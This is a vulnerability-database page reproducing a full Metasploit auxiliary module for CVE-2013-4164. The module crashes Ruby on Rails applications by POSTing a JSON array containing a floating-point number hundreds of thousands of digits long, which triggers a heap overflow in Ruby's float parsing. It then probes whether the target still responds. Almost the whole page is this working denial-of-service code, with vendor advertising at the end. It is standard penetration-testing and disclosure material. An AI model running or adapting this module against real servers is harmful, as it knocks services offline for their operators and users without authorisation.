Lucene search
K

Ruby on Rails JSON Processor Floating Point Heap Overflow Denial of Service

🗓️ 31 Aug 2024 00:00:00Reported by Tod Beardsley, Charlie Somerville, joev, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 191 Views

Ruby on Rails JSON Processor Floating Point Heap Overflow Denial of Service vulnerability in Ruby on Rails JSON processor leading to a heap-based buffer overflow, triggering application crash with segfault error

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',  
'Description' => %q{  
When Ruby attempts to convert a string representation of a large floating point  
decimal number to its floating point equivalent, a heap-based buffer overflow  
can be triggered. This module has been tested successfully on a Ruby on Rails application  
using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application  
crashes with a segfault error. Other versions of Ruby are reported to be affected.  
},  
'Author' =>  
[  
'Charlie Somerville', # original discoverer  
'joev', # bash PoC  
'todb', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2013-4164' ],  
[ 'OSVDB', '100113' ],  
[ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]  
],  
'DisclosureDate' => '2013-11-22'))  
register_options(  
[  
OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),  
OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])  
])  
end  
  
def uri  
normalize_uri(target_uri.path.to_s)  
end  
  
def verb  
datastore['HTTPVERB'] || 'POST'  
end  
  
def digit_pattern  
@digit_pattern ||= rand(10_000).to_s  
end  
  
def integer_part  
digit_pattern  
end  
  
def multiplier  
(500_000 * (1.0/digit_pattern.size)).to_i  
end  
  
def fractional_part  
digit_pattern * multiplier  
end  
  
# The evil_float seems to require some repeating element. Maybe  
# it's just superstition, but straight up 300_002-lenth random  
# numbers don't appear to trigger the vulnerability. Also, these are  
# easier to produce, and slightly better than the static "1.1111..."  
# for 300,000 decimal places.  
def evil_float_string  
[integer_part,fractional_part].join('.')  
end  
  
def run  
print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"  
sploit = '['  
sploit << evil_float_string  
sploit << ']'  
print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"  
target_available = true  
  
begin  
res = send_request_cgi(  
{  
'method' => verb,  
'uri' => uri,  
'ctype' => "application/json",  
'data' => sploit  
})  
rescue ::Rex::ConnectionRefused  
print_error "Unable to connect. (Connection refused)"  
target_available = false  
rescue ::Rex::HostUnreachable  
print_error "Unable to connect. (Host unreachable)"  
target_available = false  
rescue ::Rex::ConnectionTimeout  
print_error "Unable to connect. (Timeout)"  
target_available = false  
end  
  
return unless target_available  
  
print_status "Checking availability"  
begin  
res = send_request_cgi({  
'method' => verb,  
'uri' => uri,  
'ctype' => "application/json",  
'data' => Rex::Text.rand_text_alpha(1+rand(64)).to_json  
})  
if res and res.body and res.body.size > 0  
target_available = true  
else  
print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)"  
target_available = false  
end  
rescue ::Rex::ConnectionError, Errno::ECONNRESET  
print_good "DoS appears successful (Host unreachable)"  
target_available = false  
end  
  
return unless target_available  
  
print_error "Target is still responsive, DoS was unsuccessful."  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation